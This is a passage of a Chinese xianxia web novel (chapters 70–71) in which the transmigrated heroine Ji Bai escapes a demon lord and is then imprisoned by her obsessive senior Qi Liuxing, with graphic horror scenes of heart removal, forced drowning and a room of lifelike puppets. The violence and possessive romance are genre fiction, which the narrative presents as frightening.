这天,季白躺在春榻上睡着了,迷迷糊糊间突然感到床边有个人在一直盯着她。 她立即睁开眼就对上一张完全陌生的脸,季白眨了眨眼,没有丝毫的惊慌。 经过这段时间接二连三的刺激,她的胆子又大了很多。 季白打量了下眼前的少年,对比其他俊美无俦的男主们,他的姿容只能说是普通。 羸弱苍白,像是一个发育不良的可怜人。 “你是谁?” 季白觉得眼前的人有点眼熟,但她又十分确定,她从来没有见过他。 但这少年能在李承仙毫无察觉的情况下来到这儿,定然不似表面上那般柔弱。 少年没有说话,只是定定看了她好久好久,似是在欣赏仰望他渴望已久的明月,忽而,他苍白的脸颊飘上两团粉云。 他的声音正处于少年阶段变声期的沙哑难听。 “我可以带你离开这儿。” 他似乎也知道自己的声音不好听一样,因而声音很轻,说的话也短得要命。 70 第70章 “你为什么帮我?” “你究竟是谁?” 羸弱的苍白少年沉默许久,最后缓缓吐出五个字。 “我没有名字。” 季白愣了一下,人怎么可能没有名字呢? “要和我走吗?”少年又说话了,“你不喜欢这里,我可以帮你。” 他的声音沙哑且缓慢,有点像是很久很久没有说过话的样子。 季白眼神警惕地望着他,一时不知该不该接受他的帮助。 这也许会是一个新的陷阱。 少年见季白不说话,也不着急就蹲在季白的床头一直定定看着她,有点像是一个毫无声息的雕塑。 季白想到这儿,心中忽而一颤,屏住呼吸认真地观察他。 这方注意到眼前的少年似乎没有呼吸,他究竟是什么东西? 季白缓了缓,试探性地问:“你不怕被李承仙发现吗?” 少年摇头不语,他的头部在摆动时也有一种僵直感,且无论他的头如何摆动,那双乌黑的眼睛却一直盯着她,给人一种难以描述的诡异感。 季白捏了下指尖,最终决定还是赌一把。 她的时间不多了,只剩下九天的时间。 哪怕跟着他走会有危险,但也总比留在这儿静待着时间慢慢耗去强。 “好,我跟你走。”季白问,“可是我们要如何离开这儿?” 少年闻言眼中也没有多余的神色*,只是沉默地起身往外走,走了几步后,似是要等季白一样,还专门停下来回身看她,像是在对她说,快点跟上来。 季白心想,这张脸她绝对在哪里见过,可是是什么时候呢? 不应该啊,如果是她见过的人,她不可能没有印象。 季白一边在心里揣测着少年的身份,一边小心翼翼地跟在他身后,谨慎防备着。 少年对这里的地形似乎极为熟悉,他轻车熟路地带着季白来到一间陌生的房间,而后随意转动了某件花瓶,只听“咯吱”一声,地板快速地裂开一个黝黑的洞。 少年指了下洞口,苍白平凡的脸上扯出一抹笑,说:“从这儿跳下去就可以离开了。” 季白看了眼黝黑的洞,有点不敢相信就这么简单。 她走到洞口的边缘,回头看了眼少年,问:“你不跳吗?” 少年摇头,“我不能离开这儿。” 季白心中越发好奇,不能离开这儿,为什么? 难道他是这片花海里的花精吗? 季白拔下头上的发簪朝黑洞里扔了下去,发簪瞬间就消失在了黑暗中,她等了老半天,竟连个回声都没有。 季白顿感脊背发凉,这样一个深不见底的黑洞,她就这么跳下去,真的能活吗? 季白正在考虑,就听身后的少年突然莫名其妙地来了一句。 “对不起。” “什么?” 季白还没反应过来,就觉腰间一沉,那人从后重重推了她一把,她本就站在洞口的边缘,脚下一个踉跄,整个人就坠入了乌黑的深洞中。 靠,那家伙还真是来害她的! 害人就害人,推她之前还先来一句对不起是什么意思,显得他懂礼貌吗? 强烈的失重感与罡风吹得季白睁不开眼,下一瞬,她整个人重重摔在了地上,再睁开眼睛竟看见了久违的城镇。 季白顿时傻了。 那家伙……是在帮她,可明明帮了她为何还要说对不起呢? 季白一面起身拍了拍身上的灰,一面在心中思索着他的身份,她刚要走,就听身后突然传来一道惊喜的声音。 “季师叔!” 季白身子一僵,顿时想到当日在泰州看见的场景,这人也是想来杀她吗? 季白不做犹豫,抬脚就跑,可如今她灵气尽失哪里是修士的对手,还没跑几步就被身后的修士追上了。 “季师叔,你跑什么?”来人闪到她面前,一脸疑惑地问。 季白看了眼他腰间的剑,佯装镇定地问:“你也是来抓我回去的吗?” 他听了季白这话,顿时一脸惶恐,“季师叔这话是何意,我怎敢抓您?” “只是……”他顿了顿,眼中闪过一分为难,“宗主和戚师叔都在找您,您真的不跟我回去吗?” “你要带我回太清宗?”季白心想,若能跟着他返回太清宗也不是不行,可她担心她还没能见到卫云台与戚流星就先被除魔心切的修士杀了。 比起跟着一帮想要自己性命的人走,还是独自行动更安全些。 “师叔难道不想回去吗?”他总觉得季师叔有点奇怪,好像很防备他一样,难道他做了什么不好的事被季师叔记住了? 他这么一想,脸上的神色就越发慌乱了。 这样的神色落在季白眼中就是明晃晃的不安好心。 她掐了下指尖,正色道:“我会回去赴死,但在此之前,我需要去完成一件事。” 如果她的任务能够完成,那么就算在副本中死去应该也没事吧。 季白这么想着,就在脑海中询问系统。 【系统,如果我完成了任务,是不是就算在副本中死去,也依然可以返回现实世界?】 【不行。】系统说。【在第一个副本中,我已提醒过宿主,在副本中死去,现实世界中的宿主也会跟着死去。】 【只有完成任务并活下去,宿主才能在现实世界中苏醒。】 季白闻言,眼中闪过一缕暗芒。 她觉得系统的话有点怪怪的。 再结合本次副本的名字,她的脑海中生出了一个诡异的想法。 系统故意说这么一长段话,该不会……是要故意考验她吧? 看她是否愿意为副本中的苍生所牺牲。 可她又觉得有点不对劲,以系统平日里对待副本生灵的态度,他实在不像是能拥有这种无私大爱的系统。 除非……它从一开始就在给她设这个坑。 季白脑海中闪过了千千万万种可能,然而在现实中也只是过了短短的一瞬。 只听来人用震惊又慌乱的语气尖声道:“赴死?是谁要对季师叔动手?师叔莫慌,我这就找人来。” 他的反应反而吓了季白一跳,她眉头挑了挑,察觉出事有不对,试探性地问:“难道不是你们要抓我回去处死吗?” “啊?我们?”他惊得眼睛都瞪圆了,“季师叔你是从何处听来的假消息,该不会是魔族的离间计吧?” 季白认真观察着他的表情,只见他神色自然,眼中的震惊不像演的。 “我与魔族李承仙结了情契。” “我们都知道啊。”他说,“这也怨不得季师叔,是李承仙诡计多端,假借合欢宗的身份欺瞒师叔。” 季白攥紧了手,又道:“李承仙魔功强大,多年以来修仙界一直无法将其剿灭,可如今他的性命全系在我身,只要我死……李承仙亦会烟消云散,从此再也不会危害九州。” “师叔在说什么傻话。” 季白惊讶地看着他。 “如果为了消灭李承仙,我们就杀师叔,那我辈修士和邪魔歪道有何区别?师叔放心,仙尊已同各派宗主商议过了,会想办法消除师叔身上的情契。” 季白看得出来,他说的字字真心,所以她当初在泰州听见的话是李承仙故意为之的吗? 若他们选择杀她,季白完全可以理解并想得通,这是大多数人都会做的决定。 可季白万万没想到,他竟然会给自己一个这样的答案。 季白喃喃道:“可明明有更好的方法,不是吗?” 季白看着眼前眼睛亮晶晶的修士,只觉他们善良圣母到愚蠢的程度,让她想起了第一次见到卫云台时的感受,明明……是杀了她就能轻而易举解决的问题,又何必白白送死呢? “我辈修士就算死也该是堂堂正正的战死,若是用这种方法得以苟活,我想包括我在内的所有修士都会觉得无颜存世。” “季师叔,你若还是担心,我帮你联系孟师兄如何?”他扬眸一笑,“季师叔信不过我,总该会信自己的徒弟吧。” 季白想到结契大典那日,她刚刚用残忍的语言伤害了孟辞,但他转头却又不要命地冲上来保护她。 虽然孟辞心眼子很多,但无论她做出多么刺激他的事,都从来没有伤害过她。 或许……比起戚流星和卫云台,孟辞反而更值得信任。 尤其是卫云台……他一直被她关在山洞里,先前看见李承仙在她身上留下的情契时,就已经失控了。 虽然他不肯承认还说什么只要不是和魔尊,其他任何人都行,结果下一次在发现她和别人神交后就彻底失控,还弄没了她的灵气。 她不敢想象,卫云台出来后发现自己不仅左拥右抱,还要和师兄结契后,会气成什么样。 他瞧着圣洁超然,纯善至极,实际上却是出手最狠的人,不到最后时刻,她是万万不想再去招惹他的。 “师叔”那人见季白久久不答,疑惑地喊了季白一声,又多问了一句,“还是说师叔希望我联系戚师叔来接您?” 季白道:“不用,联系孟辞就行。” “好。”他愉快地高声应了一句,脸上挂着灿烂明媚的笑,他正要翻找传音符联系孟辞,却见他的身子突然僵到原地,随后洁白的胸前就炸开一朵鲜红的花。 季白不可置信地愣在原地,随后扑上前去,想要抓住他下坠的手。 “你没事吧?” 可怎么会没事,胸前的血以极快的速度弥散开来,哪怕季白再不愿相信,眼前的人也已经死了。 她伸出的手被另一双从后方伸出来的手握住了。 这双手指节修长,手掌温热,她的手微微一颤,差点以为是李承仙又追上来了。 可身后扑面而来的香气,又实在不像是李承仙的气味…… “师妹。”戚流星清越到发冷的声音从她耳后传来,温热的呼吸尽数落在她耳畔,让她觉得有点痒又有点冷,“你刚刚为什么不让他找我?” 季白胸腔里的那颗心在疯狂地跳动着。 他刚刚一直在她身后吗,他究竟何时来的,又到底听见了多少? 季白平息着自己的呼吸,目光看向倒在地上的尸体,他的嘴角还挂着一抹还未来得及收起的笑。 “你就因为这件事而杀了他?”季白轻声问。 她知道副本里的男主们都是崩坏黑化的角色,也知道他们看似正常,其实一直都不正常。 她以为他们的扭曲与执着只是针对她而已,却没想到原来他们对待别人更是一种没有心的残忍。 可不该是这样的啊,不该是这样的。 季白分明记得她刚进副本时,戚流星为了救一个普通的孩子,不惜耗费灵气,不惜牺牲自己的样子。 他嘴上不屑于卫云台那一套,可遇见有危险的孟辞还是会冲上去救人。 他本该是行侠仗义,斩妖除魔的仙君才对,为何在转瞬之间就能轻而易举地杀了他们的同门? 到底是如系统所说,他们很会伪装,还是说……有什么东西在悄然改变着他们。 “为什么选孟辞来接你?”那双刚刚杀过人的手扼住她的咽喉,她低垂的眼眸甚至可以看见他手背上凸起的青筋。 她知道自己现在该说点好听的话安抚他的情绪,可她还是想为地上死去的人问他一句。 “他是我们的同门啊。” “师妹,你不乖。”他掐着她的脖子,惩罚性地在她的耳朵上咬了一口,他咬得很重,疼得季白瑟缩了下,随后就闻到了一股淡淡的血腥味,“我的问题你一个也没有回答。” 季白冷笑,“我的问题你不也没回答吗?” 季白心情不好时就会有一种不顾一切的疯感,这种时候的她是什么都不在乎的,满脑子只有一个想法,大不了你弄死我,我不玩了。 所以会显得她鲁莽又愚蠢。 “是同门又怎样?”他松开掐着她脖颈的手,炙热的掌心贴着她的皮肤缓缓向下,最后停留在她跳动的心脏上,他存在感极强的五指带给季白一种好似会在下一秒掏出她心脏的诡异感。 “你应该知道的。”他缓缓说,“整个宗门,我在意的人只有你。” “你在为他伤心?”他按在她心口的手蓦然加大了力气,“师妹,有时候我真的很好奇,你这颗小小的心脏里究竟装了多少人,为什么谁都能拨弄你的心弦?” “师妹,我们看一看,好不好?” 下一瞬季白的心口处就传来强烈的疼痛,五根手指刺破她的皮肤,深入她的血肉,季白痛得连叫都叫不出来,只是脸色苍白地流了一身的汗。 好痛好痛好痛。 她感觉自己的心好似真的被他扯出来了,她浑身无力地瘫软在戚流星的怀里,余光就瞧见他的手上捧着一颗血淋淋的,还在跳动的心。 季白大口大口地喘息,恨不能立刻死去,至少不会再疼了。 可偏偏她的意识又是无比的清楚,她看着戚流星把她的心捧到她眼前,他喃喃自语道:“奇怪,明明师妹的心和我的心一模一样啊。” “那为什么师妹的心里就可以装那么多人呢?” 季白闭上眼睛,不想再看这血腥残忍的一幕。 她在李承仙身边待了一周多,李承仙虽然疯狂又扭曲,但从来没有对她动过手,最后一次发疯,也是拿着小刀自己雕自己。 反而仙门这边的人,不出手则矣,一出手是真狠啊。 一个弄没她的灵气,一个……把她的心掏出来了。 到底谁是仙,谁是魔啊! 季白这会十分的后悔,她刚刚不该刺激他的。 她不怕死,但是她怕疼啊。 这种疼到要死还死不了的感受,简直是天底下最残酷的惩罚。 不知是不是已经痛到麻木,季白感觉自己的心口好似没有刚刚那么疼了。 她听戚流星久久没有说话,打算睁开眼看看他在干嘛,结果一睁眼就看见了无比惊悚的一幕! 他竟然低头吻上了那颗血淋淋的心脏,刺眼的鲜血顺着白皙的下巴缓缓滴落,那双黑白分明的眼睛见她睁开了眼无比精准地就朝她看了过来,手掌上那颗血淋淋的心脏还在砰砰直跳,粘稠殷红的血顺着掌心指缝往下落,形成连接不断的血丝。 他看起来像极了刚刚吃了人肉喝了人血的鬼物。 他冲她咧嘴一笑,眼睛亮得吓人。 “师妹,如果把我的心换给你,你会不会变得和我一样专心?” 季白两眼一翻彻底晕了过去。 等季白再次清醒时就来到了一个全然陌生的地方,她猛然坐起抬手摸上自己的心口。 心口处的肌肤格外平整,胸腔里的心脏也在有力地跳动着。 “师妹,你醒了。” 这道清越开朗的声音落在季白耳中却比毒蛇还要毒,回想起昏迷之前的疼痛,季白果断认怂了。 现在她实力不济没必要和戚流星对着来自讨苦吃。 她用上了毕生的演技,红着眼眶颤声问戚流星:“师兄是想要杀我吗?” “我被李承仙掳走后,没有一时一刻不想念师兄,可我自知对师兄有愧,千辛万苦地从那魔窟逃出后,实在无颜面对师兄,就想着先让孟辞接我回去,我再寻个日子去向师兄请罪,却没想到竟惹得师兄对我误会至此。” 她悲痛欲绝地捂着心口,眼中的泪欲掉不掉,一幅受了天大的委屈的模样。 “如果师兄真的想要我的心,那就拿去好了。”季白说着,倾身扑到他的怀里,眼泪恰好从眼眶中落下滴到戚流星的脖颈,大颗大颗的泪水润湿了他的衣领,“我绝无半句怨言,只是临死前我有一言不得不说,我的心也很小很小,只有师兄一人而已。” 戚流星抱着她的身子一僵,随后挑眉问:“师妹,你这是又要和我玩什么花样?” 他嘴上这么说,身体还是很诚实地轻拍着她的背,像是哄小孩一样。 季白从他的怀中抬起头来,眼神认真又难过地说:“师兄,我没有玩花样,我说的每一个字都是真心的。” “李承仙的事,我真的很抱歉……”季白垂下头,眼泪如断线的珠子般往下掉,“我当时真的只是好奇而已,我也不知道怎么了,就莫名其妙和他结了情契,可我们真的什么都没有发生。” “当然这也都是我的错,都怪我……怪我一时贪恋他的美色,以致于招来这样天大的麻烦。” 季白吸了吸鼻子,正准备说后面她编排好的台词,一双温热的手却突然捧上了她的脸颊,打断了她后面的话。 “别哭了。”戚流星带有薄茧的指腹轻柔地抚过她的眼下,擦拭眼泪的同时又带来阵阵酥麻的痒意,“你这样哭,师兄会心疼的。” 季白抬起头看他,就见他脸上挂着一抹明媚和煦的笑意,黑白分明的眼眸格外明亮,眼底还含着几分对她的关怀与心疼。 他又变成了季白的好好师兄,仿佛刚刚剖她心的人不是他一样。 戚流星的变化也实在太大了吧…… 季白试探性地问:“师兄不生气了?” “不生气了。”他说。 季白又问。 “那师兄以后还会……还会剖我的心吗?” 戚流星没有立即回答,而是缓了缓,似是在思考一般。 季白心中一惊,他不会还没放弃要和她换心的想法吧? “不会。”戚流星笑着说。 季白狐疑地看着他,总觉得哪里怪怪的。 算了,哪里怪都好,只要别再肉/体折磨她就行。 她真的很怕疼啊。 戚流星凑近她,问:“那你呢?” 季白眼神困惑,不明白他的意思。 他的目光落在她的唇上,温热的指腹轻轻摩挲着唇瓣,他低头凑近她,压低声音问:“你是不是最喜欢师兄?是不是会永远听师兄的话?你的眼睛是不是会永远看着师兄?你的唇……是不是不会再给别人亲?” 季白从这一连串的问题中,感受到了戚流星超强的占有欲。 她不敢犹豫,不假思索地点头道:“当然最喜欢师兄,会一直听师兄的话,我的眼睛里会永远看向师兄,我的唇……也不会再亲别人。” 戚流星脸上的笑容越发明艳,他揪了揪季白的鼻头,低声说:“撒谎。” 这样平常的互动就像是宠溺妹妹的哥哥。 戚流星低下头吻了上去,呢喃的后半句话被他淹没在了唇齿之间,季白没有听清。 “不过很快你就不会再撒谎了,也永远不会再离开我了。” 戚流星好得很奇怪,时常会用一种她难以形容的眼神盯着她,似是痴迷的窥视,又似是某种观察,更像是……要把她最后的样子牢牢记在心中。 最后一种解读让季白常常感到毛骨悚然。 她摸着自己的心口,甚至不能确定胸腔里跳动的心脏到底还是不是自己的。 “师兄,这是要做什么?” 戚流星把她拉到了浴室,浴桶里已经盛满了水和许多她不认识的药材。 药浴她也泡过,上一次孟辞给她做的药浴闻起来有种浓郁的药材香味,可戚流星的药浴味道却很刺鼻,其中某种特殊的气味是再浓烈的花香都掩盖不下去的。 闻得季白头晕脑胀,恶心想吐。 “是可以帮你恢复灵气的药浴。”戚流星微笑着说。 70-80 71 第71章 季白满是怀疑地盯着深褐色的药浴汤,可以帮她恢复灵气的药浴? 戚流星会有这么好心吗? 如果是当初还在四象峰的戚流星,她可能还会相信戚流星是真的想要帮她恢复灵气。 可眼前这位剖过她心的戚流星,她是一个字都不会信…… 他不害她就不错了,怎么会想着帮她恢复灵气? 若她的灵气真的恢复了,他还能如同现在一般这样省心省力的囚着她吗? 戚流星笑意不改地伸手撩了撩浴汤,狭长的眼眸半眯地望着她。 “师妹是在怀疑我吗?” 季白本能地察觉到危险,立即笑着说,“我怎么会怀疑师兄?我只是在想这药浴是不是真的有用。” “毕竟当时在四象峰的时候灵瑶师妹说过,我的灵气在该回来的时候会回来。”季白小心翼翼地措辞,“我想,灵瑶师妹的意思应该是不需要借助外力的。” 她说完,又故作嫌弃地捂着鼻子说:“何况这药浴也实在太刺鼻了,我真的不想泡……” 季白本能地觉得这浴桶里的东西绝对不是什么好东西。 “师妹,良药苦口。”戚流星上前解她的衣衫,“越是味道难闻,效果越好,难道师妹不想早点找回自己的灵气吗?” 季白还想再试图挣扎一番,戚流星却突然掐住她的腰,低声问:“师妹忘记答应过我什么吗?” “你说过……会一直听师兄的话。” 他的声音又低又慢,在这狭小的空间里缓缓回荡着,像是日暮时分荒山古寺里传来的闷闷钟声,无端给人带来一种说不出的恐慌。 那是黑夜即将来临,而你还远离人群,受野兽窥伺的恐慌不安。 季白挤出一抹笑容,说:“好吧,为了师兄我泡就是。” 季白脱下衣服泡入充斥着刺鼻气息的药池中,戚流星站在浴桶边轻抚着她裸露在外的肌肤,他的手时而舀上一捧深褐色的药汤浇在她的身上,嘴中还念念有词地说:“要泡得久一点,每一片肌肤包括头皮都不能遗漏哦,这样你的每一寸肌肤才会永远的充满生机。” 季白被他奇怪的话吓得起了一身鸡皮疙瘩,什么叫永远的充满生机? 难不成这药汤实际上是美颜养肤用的?季白觉得戚流星应当没有那么无聊…… 如果是李承仙倒有可能会做出这种事,不过……他多半应该是弄来给自己用。 “师兄……”季白试探性地问,“这药浴不是用来恢复灵气的吗?为什么还会让我的肌肤永远充满生机啊?” 戚流星笑得温柔,耐心地和季白解释: “这药汤可以滋润温补你的身体,等你的身体恢复到一个最完美的状态,你消失的灵气自然也就回来了。” 这番说辞看似没有任何问题,可季白总觉得哪里有一点不对劲。 她还没想出来,戚流星的手就五指分开地按在了她的脑袋上。 这样的姿势让季白瞬间想起了戚流星掏她心的场景。 她心中一颤,忍不住暗想,戚流星这次不会是打算把她的天灵盖掀开看看吧? 季白一想到那副场景就控制不住地脊背发凉,想要立即逃走。 “师妹,憋气哦。”戚流星温柔的声音从上首传来。 “什么?” 季白还没反应过来,就觉按在她头上的手突然发力将她的头按进了药汤中。 她完全没有准备,在水下灌了好几口苦涩的药汤,呛得她的鼻腔都火辣辣的疼。 她拼了命的挣扎,想要浮上去,可按在她头上的手却坚若磐石,任她如何折腾都岿然不动。 戚流星垂眸望着在浴桶中挣扎的季白,乌黑的眼眸中闪烁着某种兴奋的光芒,嘴角微微翘起。 季白只觉自己快要窒息了,身上也渐渐没了力气,就在季白以为自己要在浴桶里淹死时,戚流星突然松开手拽着她的脖子将她捞了上来。 隔着半人高的浴桶,他将季白的上半身紧紧抱在怀里,他俯下头凑到季白耳边用无比温柔的声音说:“师妹,不是让你憋气了吗,怎么不乖乖听师兄的话呢?” 他青色的衣袍被褐色的药汤全打湿了,但他却半点也不在意,只是继续往季白的身上浇灌着汤药,有点像给心爱的植物浇水。 季白缓缓恢复了力气,戚流星刚刚的话她当然全都听见了。 他分明是故意折腾她,还怪她没有听他的话憋气。 季白越想越气,猛地发力拽着戚流星的胳膊将他也拽进了浴桶里,霎时间,水花四溅,季白欺身而上,报复性地把他的头往水里按。 奇怪的是,戚流星并没有反抗,任由季白随便折腾他。 季白开始还以为戚流星是用了灵气在水下闭气,可她很快又听见了戚流星呛水的咳嗽声,水面上很快泛起一圈圈的小泡泡,是他在水下喝了水的象征。 戚流星小小地挣扎了几下,但见季白依旧没有放过他的意思,也就任由季白按着自己的头,很快,戚流星彻底不动了。 这时,他在水下的时间已经远远超过了季白刚刚在水里的时间,季白觉得自己心中的怒火稍有所平息。 虽然知道戚流星一介仙体不会把自己在水下呛死,但还是把他从水里拽了出来。 他的头顺势靠躺在她的怀里,俊朗的脸上沾满了棕褐色的水珠,看起来有几分狼狈,但又给他增添了几分凌乱的美感,尤其是他乌黑的发在水中散开衬得他的脸越发皎白如玉,眼尾因刚刚的呛水而泛起潮红,整个人有一种濒死前的美。 很快,戚流星的身子颤了几下,嘴角溢出几口黑棕色的药汤,随即就剧烈地咳嗽起来,洁白的肌肤上很快浮上一层红晕,以眼角和脸庞的红最为显眼,明明是一幅难受得要死掉的样子,可嘴角竟还挂着满足的笑意。 他抬眸看她,眼神迷离,瞳孔涣散。 “师妹解气了吗?”他的脸贴上她的肌肤,她瞬时就感受到了一股不正常的烫。 “不解气的话就再来一次。” 季白盯着他脸上的笑容看了半晌,终于确定水下窒息对他而言是奖励而不是惩罚。 她果然和这些变态没什么好聊的。 她别过脸,用手推了推他的头,小声嘟囔着:“快出去,你的头重死了。” 戚流星闻言坐了起来,但却揽上季白的腰身贴了上去,“师妹都拉我下来了,我怎舍得就这么一走了之?” 季白瞪了他一眼,道:“话说得好听,不还是想占我便宜吗?” 她纯情的师兄不见了,当日在四象峰的时候,他可不是这样的。 季白话落又拿开戚流星的手,轻哼了一声,说:“师兄,管好你的手,别乱碰。” 戚流星闻言非但没有收敛,反而箍得她更紧了。 他的眼神不做掩饰地赤裸裸地盯着她,逐渐冷却的药汤因他的体温而逐渐沸腾。 他低头逼近她,禁锢在她腰身的手让她没有办法动弹,只能眼睁睁看着他的脸离她越来越近,一个滚烫的吻落在她的眼睛上,只听他没头没尾地说了一句。 “多么漂亮灵动的眼睛啊。” 季白从他喟叹的语气中听见了遗憾与可惜,让她没由来的心尖发颤。 他可惜什么? 难道他以后打算弄瞎她的眼睛让她时时刻刻离不开他,还是说想要挖出她的眼睛用来收藏? 季白觉得如果是戚流星的话,那么哪一种都有可能是他做得出来的事。 “师兄……?” 季白拽了拽他的衣襟,让他回神。 她生怕这人现在就两指一伸挖出她的眼睛。 戚流星眼眸闪了闪,抬手捂住她的眼睛,低头吻上她的鼻尖,温热的吐息落在她的鼻头,她听见他说:“我们是夫妻啊,怎么能说是占便宜。” “虽然结契那天出了意外,让你我的名字没有在三生石上落下,但天下九州的人都知道你我的结契大典,各派宗主与长老们也都亲眼见证过,你,是我唯一的妻。” 季白听戚流星提起那天结契大典的事,她是一个字都不敢接。 她当日还想着要在那一天满足戚流星所有的心愿,要让他成为最幸福的人,结果……结果只能说他还真是渡过了人生中最难忘的一天。 经过那一天的刺激,难怪他现在越来越不正常了…… “师兄……”季白说,“药汤都凉了,我该泡够了吧?” 戚流星扬眸笑了笑,“还没有,还差一点。” 他话音刚落,就拉着季白一起坠入水下,季白这一次学机灵了,一入水就立即憋住了气,然而在水下的时间实在太久太久。 她憋得脸都红了,戚流星依旧还没有放手的意思。 她忍不住呛了一口水,本能地就要往外爬,却被戚流星又拽了回去,随后一个湿软的东西就覆上她的唇。 他的嘴里有她需要的氧气,她如同溺水之人一般本能地紧紧攥着他的衣襟,分外渴求地夺取他口中的津液与氧气。 “哗啦”一声,两人同时从水面中探出头来,戚流星弯腰抱起湿漉漉的季白离开早已冷却的浴桶。 那难闻的药材气味在长时间的浸泡下季白也闻习惯了,低头再嗅闻时竟还品出了一股独特的香味。 戚流星用灵气在霎那间就把自己收拾得清爽整洁,对待季白却采用了全手工模式。 柔软的棉布一点点地擦拭她湿漉漉的身体,而后又为她换上了一套他精心挑选的衣裙,季白坐在他面前,感觉自己有点像是专属于戚流星的大号人偶娃娃。 她低头试着运转体内的灵气,然而还是空空如也,甚至一点好转的迹象也没有。 季白好奇地问:“师兄,你不是说那药浴可助我恢复灵气吗,为何我一点也没感觉到?” 季白心想,能恢复灵气八成是他诓她的借口,但真实的作用她暂时也没有看出来。 至少她这次泡完之后,身体并没有丝毫的不适应。 该不会真是美肤养颜的药浴吧。 戚流星低头帮她系着极为华丽的腰衱,声音平缓温和地说:“没有那么快。” 他抬眸看她,眼中缀着星星点点的光芒。 “至少也需要三天的时间。” “三天?”季白惊了一下,默默计算着时间,等这三天过后她所剩的时间就只有一周了,一周的时间她真的能搞定卫云台吗? 季白越想越无望,这次的任务时间是比上一个副本长很多,可难度也不是一个量级的啊。 “师妹在想什么?”戚流星帮她穿好衣衫后,顺势握着她的手在手中无意识地摩挲把玩,随后轻轻掐了她的手指一下,用一种开玩笑的口吻问,“是不是在想等灵气恢复就要将我痛扁一顿,而后弃我离开?” 季白闻言连忙讨好性地抱上他的腰,说:“我怎么可能会这么想?” “如果师兄真能帮我找回灵气,那师兄就是我的恩人,我感谢师兄都来不及,怎么还会痛扁师兄,更不可能离开师兄啊。” “我最爱的人就在这儿,我还要跑到哪去?” 戚流星静静看着她,唇角挂着一抹意味深长的笑意,不知是信了还是没信。 季白见他不理,咬了下唇,又故意说道:“如果真要走,我还真有一个非常想去的地方呢。” 戚流星搭在她腰间的手蓦地收紧,而后终究没有忍住地问了一句。 “是哪?” 季白扬起一抹格外灿烂的笑颜,说:“我想和师兄结为真正的道侣。” “师兄。”季白把头靠在他的怀里,轻声说,“上一次我们的大典因被一群无关紧要的人所打扰,而没有进行下去,我想重新再来一次,这一次由我握着师兄的手在三生石上刻下我们的名字。” 季白还记得戚流星对结契这件事的执念非常深,上一次现场乱成那个样子,他还惦记着要在三生石上刻下名字,若非有妖龙那一撞,他们的仪式早就完成了。 她这一次主动提起,戚流星一定会大受感动吧? 然后,就能得到他的先天一气了。 季白想得非常的美好,却全然没有看见戚流星面无表情的脸,他的手轻抚着她的发丝,季白看不见他的神色,见他沉默,还以为他是太高兴了。 过了很久很久,戚流星方低声说:“其实受不受天道的祝福并不重要,只要我们的心在一起*就谁也不能把我们分开,若是反之,就算你我是受天道祝福的道侣,也只会成为一对怨侣。” 季白听了这话,彻底傻了。 这还是她一心想要结契的师兄吗? 戚流星怎么可能会说出这句话,没有天道祝福的道侣就像是毫无约束的小孩过家家,一般只有双方并不确定是否会和对方一同走过漫漫修仙途的修士们会这么说,例如合欢宗的人,他们最不喜欢结道侣,还有就是…… 受天道排斥的邪魔外道。 季白想到这儿心中一凉,立即从戚流星怀中抬起头,只见他脸上还挂着一抹她熟悉的笑容,那双黑白分明的眼眸也不见半点猩红。 不是李承仙,李承仙可以任意改变他的外貌,却变不了瞳孔的颜色。 等等!李承仙情绪平静时,他的眼睛也是黑色的。 季白想到刚刚他在亲吻她时,突然捂住她眼睛的手,他是在害怕什么? 季白咽了咽口水,该不会……其实眼前的人一直是李承仙变得吧? 仔细想一想,当初她刚从李承仙那儿逃出来,怎么可能转头就遇见戚流星呢,如果是李承仙发觉她逃走后追了上来,就能说得通了。 还有那日死去的同门,如果是李承仙,确实会毫不犹豫地杀掉。 季白看着他脸上过分完美的笑,只觉后脊发凉,难道她一直都没有逃出来吗? 可是不对啊。 他和她相处时的细节确实同她之前和戚流星相处时的一模一样。 就算李承仙很聪明,就算李承仙在太清宗有卧底,能知道她和戚流星的一举一动,但他真的能模仿得这么像吗? “师妹为何一直盯着我看?”戚流星问。 季白故作失落地说:“只是惊讶师兄为何会这么说,我还以为师兄会和我一样非常期待在三生石上刻写我们的名字呢。” 戚流星的眼眸闪了闪,“如果师妹真的很想,等你的灵气恢复后,我们就去三生石刻。” 这回答实在是模棱两可,如果她的灵气始终不恢复,他是不是就不打算刻写了? 季白突然想到了一个绝佳的主意。 她拉了拉他的袖角,撒娇道:“师兄,我想吃你做的糕点了。” 李承仙或许可以模仿戚流星的一切,但绝对做不出戚流星做出的食物。 戚流星一愣,随后道:“抱歉啊,这里没有食材,所以暂时做不了食物。” 季白听他这么说,越发怀疑起他的身份。 “等你这三天的药浴泡完,我抽空出去买食材回来做给你吃。” 季白笑眯眯地应了一声“好”,心中却在奇怪为何非要等到药浴泡完,难道这药浴泡过三天后会有一个非常重要的功效吗? 心中的怀疑一生,季白看戚流星是哪哪都不对劲,可她又始终没有找到破绽。 第二天夜里,季白泡完药浴后回房休息,半夜,她突然惊醒时却发现身边没有戚流星的身影。 她顿时坐了起来,连忙询问系统戚流星的动向。 她怕戚流星离她远了,会又有怪物来攻击她。 季白在系统的指引下七拐八拐地来到了一间林中小屋,她一推门,就见屋顶吊着一顶昏黄的灯笼,灯笼在风的作用下被吹得左右摇晃,屋子里本就昏暗的光也跟着一起晃动。 季白站在屋外观察了一会,只觉屋内影影绰绰,鬼影重重,尤其是那顶上的灯仿佛随时都会熄灭一样。 她缓缓抬脚踏进屋里,一入内,她立即觉得屋里的空气极为阴冷,而且在她看不见的黑暗中仿佛有什么东西正在窥伺着她。 她稳了稳心神,继续往里走,随着她的走近,她缓缓看清了摆在阴影里的东西,长着毛的,奇形怪状的。 那是……动物? 活着的动物? 不对,他们虽然看起来栩栩如生,但却不会动…… 这么一排东西直勾勾地盯着她,看得季白有点心里发毛,这些到底是什么东西,活体标本? 可未免也太鲜活了吧?除了不会动以外,肉眼看上去它们和活物几乎没有区别。 季白继续往里走,她走着走着发现架子上的东西也随之改变了,从动物慢慢过渡到了……似人的东西,到最后就是完全的人了。 他们都站在黑暗中齐刷刷地看着她,看得季白毛骨悚然。 不知是不是她的错觉,她总感觉那些她没有看着的雕塑正转动着他们的眼睛盯着她,可当她转过身去,那些雕塑又还是正常地目视前方。 这样诡异的地方,季白实在不想多待,她正准备离开,却突然用余光瞟见了另一侧的书架,她好奇地看了过去,就发现这些书名都有统一的两个字——傀儡。 季白的后背顿时升上一股凉意,所以这些都是戚流星做的活体傀儡? 她见其中有一本书磨损的最为严重,且摆放的位置上没有落一丝灰,显然是主人常常翻阅,且近期还一直在看的书。 